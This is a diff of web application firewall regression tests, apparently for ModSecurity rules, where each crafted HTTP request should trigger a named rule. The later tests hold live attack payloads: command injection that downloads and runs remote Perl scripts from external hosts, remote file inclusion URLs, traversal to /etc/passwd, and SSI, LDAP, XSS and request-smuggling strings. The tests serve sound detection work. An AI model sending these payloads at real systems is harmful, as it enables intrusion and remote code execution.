%output 960015
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
%test Request Has an Empty Accept Header (960021)
|
||||
#####################################################
|
||||
%output 960021
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept:
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Request Missing a User Agent Header (960009)
|
||||
#####################################################
|
||||
%output 960009
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Request Has an Empty User Agent Header (960006)
|
||||
#####################################################
|
||||
%output 960006
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent:
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Request Containing Content, but Missing Content-Type header (960904)
|
||||
#####################################################
|
||||
%output 960904
|
||||
%request
|
||||
POST / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Length: 5
|
||||
|
||||
foo=1
|
||||
|
||||
|
||||
%test Host header is a numeric IP address (960017)
|
||||
#####################################################
|
||||
%output 960017
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: 192.168.1.100
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%endtest
|
||||
|
File diff suppressed because one or more lines are too long
@@ -0,0 +1,119 @@
|
||||
%timeout 10
|
||||
|
||||
# FILE 30 - HTTP Policy
|
||||
|
||||
%test Method is not allowed by policy (960032)
|
||||
#####################################################
|
||||
%output 960032
|
||||
%var request_method=DELETE
|
||||
%var request_method=FOO
|
||||
%var request_method=SUBSCRIBE
|
||||
%request
|
||||
$request_method / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Request content type is not allowed by policy (960010)
|
||||
#####################################################
|
||||
%output 960010
|
||||
%var type=multipart/;
|
||||
%var type=multipart/foo;
|
||||
%var type=application/foo;
|
||||
%request
|
||||
POST / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: $type boundary=0000
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
--0000
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
John Smith
|
||||
--0000
|
||||
Content-Disposition: form-data; name="email"
|
||||
|
||||
john.smith@example.com
|
||||
--0000
|
||||
Content-Disposition: form-data; name="image"; filename="image.jpg"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
BINARYDATA
|
||||
--0000--
|
||||
|
||||
|
||||
%test HTTP protocol version is not allowed by policy (960034)
|
||||
#####################################################
|
||||
%output 960034
|
||||
%var http=HTTP/3.0
|
||||
%var http=HTTP/0.8
|
||||
%var http=JUNK/1.0
|
||||
%request
|
||||
GET / $http
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test URL file extension is restricted by policy (960035)
|
||||
#####################################################
|
||||
%output 960035
|
||||
%var ext=.bak
|
||||
%var ext=.db
|
||||
%var ext=.old
|
||||
%request
|
||||
GET /foo$ext HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test HTTP header is restricted by policy (960038)
|
||||
#####################################################
|
||||
%output 960038
|
||||
%var restricted_header=Proxy-Connection: keep-alive
|
||||
%var restricted_header=Translate: f
|
||||
%var restricted_header=Lock-Token: <opaquelocktoken:a515cfa4-5da4-22e1-f5bf-00a0451e6bf7>
|
||||
%request
|
||||
GET / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
$restricted_header
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
%endtest
|
@@ -0,0 +1,82 @@
|
||||
%timeout 10
|
||||
|
||||
# FILE 35 - HTTP Bad Robots
|
||||
|
||||
%test Request Indicates a Security Scanner Scanned the Site (990002)
|
||||
#####################################################
|
||||
%output 990002
|
||||
%var ua=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij
|
||||
%var ua=Arachni/0.2.1
|
||||
%var ua=w3af.sourceforge.net
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: $ua
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Request Indicates a Security Scanner Scanned the Site (990901)
|
||||
#####################################################
|
||||
%output 990901
|
||||
%var header=Acunetix-Product: WVS/5.0 (Acunetix Web Vulnerability Scanner - EVALUATION)
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
|
||||
$header
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Request Indicates a Security Scanner Scanned the Site (990902)
|
||||
#####################################################
|
||||
%output 990902
|
||||
%var file=/nessustest
|
||||
%request
|
||||
GET $file HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
|
||||
$header
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Rogue web site crawler (990012)
|
||||
#####################################################
|
||||
%output 990012
|
||||
%var ua=DataCha0s/2.0
|
||||
%var ua=Morfeus Fucking Scanner
|
||||
%var ua=VoidEYE
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: $ua
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
%endtest
|
@@ -0,0 +1,393 @@
|
||||
%timeout 6
|
||||
|
||||
%test System Command Injection (950907)
|
||||
###################################
|
||||
%output 950907
|
||||
%var command=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf *.txt');
|
||||
%var command=http://ricky.ilmerlodellarocca.com/upload.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;%20appa.jpg;perl%20appa.jpg;rm%20-rf%20appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;mv%20ca.php%20ca.php;chmod%20755%20ca.php
|
||||
%request
|
||||
GET /?foo=$command HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Injection of Undocumented ColdFusion Tags (950008)
|
||||
###################################
|
||||
%output 950008
|
||||
%var cf_command=cfusion_decrypt(string%2ckey)
|
||||
%var cf_command=%3CCFINTERNALDEBUG%20ACTION%3D%22pcode%22%20OUTVAR%3D%22r_var%22%20TEMPLATEPATH%3D%22%23template%23%22%3E
|
||||
%request
|
||||
GET /?foo=$cf_command HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test LDAP Injection Attack (950010)
|
||||
###################################
|
||||
%output 950010
|
||||
%var ldap_command=jsmith)(|(objectclass=*)
|
||||
%var ldap_command=joe)(|(password=*
|
||||
%var ldap_command=(&(objectClass=*)(objectClass=resources))
|
||||
%request
|
||||
GET /?foo=$ldap_command HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test SSI Injection Attack (950011)
|
||||
###################################
|
||||
%output 950011
|
||||
%var ssi_command=%3C!--%23exec%20cmd%3D%22ls%22%20--%3E
|
||||
%var ssi_command=%3C!--%23include%20virtual%3D%22%2Fetc%2Fpasswd%22%20--%3E
|
||||
%request
|
||||
GET /?foo=$ssi_command HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Universal PDF XSS URL Detected (950018)
|
||||
###################################
|
||||
%output 950018
|
||||
%var updf=http%3A%2F%2Fwww.example.com%2Ffile.pdf%23a%3Djavascript%3Aalert('Alert')
|
||||
%request
|
||||
GET /?foo=$updf HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Email Injection Attack (950019)
|
||||
#####################################################
|
||||
%output 950019
|
||||
%request
|
||||
POST / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
body=email@anonymous.xxx%0ATo:email1@who.xxx
|
||||
|
||||
|
||||
%test HTTP Request Smuggling Attack (950012)
|
||||
###################################
|
||||
%output 950012
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Transfer-Encoding: utf-8
|
||||
Transfer-Encoding: utf-8
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test HTTP Request Smuggling (950012)
|
||||
###################################
|
||||
%output 950012
|
||||
%request
|
||||
POST / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Length: 3
|
||||
Content-Length: 3
|
||||
|
||||
abc
|
||||
|
||||
|
||||
%test HTTP response splitting (950910)
|
||||
###################################
|
||||
%output 950910
|
||||
%request
|
||||
GET /?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html> HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Referer: http://www.mummy.com/index.html
|
||||
Accept-Language: zh-sg
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test HTTP response splitting (950911)
|
||||
###################################
|
||||
%output 950911
|
||||
%request
|
||||
GET /?lang=foobar%3Cmeta%20http-equiv%3D%22Refresh%22%20content%3D%220%3B%20url%3Dhttp%3A%2F%2Fwww.hacker.com%2F%22%3E HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Referer: http://www.mummy.com/index.html
|
||||
Accept-Language: zh-sg
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Remote File Inclusion Attack (950117)
|
||||
###################################
|
||||
%output 950117
|
||||
%request
|
||||
GET /wp-content/themes/thedawn/lib/scripts/timthumb.php?src=http://66.240.183.75/crash.php HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Referer: http://www.mummy.com/index.html
|
||||
Accept-Language: zh-sg
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Remote File Inclusion Attack (950118)
|
||||
###################################
|
||||
%output 950118
|
||||
%var rfi=/plugins/spamx/BaseAdmin.class.php?_CONF[path]=http://www.luomoeillegno.com/extras/idxx.txt??
|
||||
%var rfi=/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.luomoeillegno.com/extras/idxx.txt
|
||||
%var rfi=/plugins/spamx/BaseAdmin.class.php?_CONF[path]=http://www.luomoeillegno.com/extras/idxx.txt
|
||||
%request
|
||||
GET $rfi HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Referer: http://www.mummy.com/index.html
|
||||
Accept-Language: zh-sg
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Remote File Inclusion Attack (950119)
|
||||
###################################
|
||||
%output 950119
|
||||
%var rfi=/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=http://www.ezonplaza.com/img/idFARIZ.txt?
|
||||
%var rfi=/bbs//skin/ggambo7002_board/write.php?dir=http://www.solmae.co.kr/upload/bbs/conf2.txt????
|
||||
%var rfi=/components/com_uhp/uhp_config.php?mos/administrator/c/appserv/appserv/main.php?appserv_root=http://henry14.isfreeweb.com/zboard/id/auto1.txt????
|
||||
%request
|
||||
GET $rfi HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Referer: http://www.mummy.com/index.html
|
||||
Accept-Language: zh-sg
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Remote File Inclusion Attack (950120)
|
||||
###################################
|
||||
%output 950120
|
||||
%var rfi=/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=http://www.ezonplaza.com/img/idFARIZ.txt??
|
||||
%var rfi=/bbs//skin/ggambo7002_board/write.php?dir=http://www.solmae.co.kr/upload/bbs/conf2.txt?
|
||||
%var rfi=/components/com_uhp/uhp_config.php?mos/administrator/c/appserv/appserv/main.php?appserv_root=http://henry14.isfreeweb.com/zboard/id/auto1.txt???
|
||||
%request
|
||||
GET $rfi HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Referer: http://www.mummy.com/index.html
|
||||
Accept-Language: zh-sg
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Session Fixation Attack (950009)
|
||||
###################################
|
||||
%output 950009
|
||||
%request
|
||||
GET /foo.php?bar=blah<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script> HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Referer: http://www.mummy.com/index.html
|
||||
Accept-Language: zh-sg
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Session Fixation Attack (950000)
|
||||
###################################
|
||||
%output 950000
|
||||
%request
|
||||
GET /login.php?jsessionid=74B0CB414BD77D17B5680A6386EF1666 HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Accept-Language: zh-sg
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Session Fixation Attack (950003)
|
||||
###################################
|
||||
%output 950003
|
||||
%request
|
||||
GET /login.php?jsessionid=74B0CB414BD77D17B5680A6386EF1666 HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Accept-Language: zh-sg
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Referer: http://forum.antichat.ru/forum127.html
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Remote File Access Attempt (950005)
|
||||
###################################
|
||||
%output 950005
|
||||
%var file=../../../../../boot.ini
|
||||
%var file=/etc/passwd
|
||||
%var file=../../../../../../../../../../usr/local/app/apache2/conf/httpd.conf
|
||||
%request
|
||||
GET /index.php?file=News&op=$file%00 HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Accept-Language: zh-sg
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test System Command Access (950002)
|
||||
###################################
|
||||
%output 950002
|
||||
%var file=/d/winnt/system32/cmd.exe?/c+dir.
|
||||
%request
|
||||
GET /foo.aspx?$file HTTP/1.1
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
|
||||
Accept-Language: zh-sg
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Host: $hostname
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test System Command Injection (950006)
|
||||
###################################
|
||||
%output 950006
|
||||
%var command=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf *.txt');
|
||||
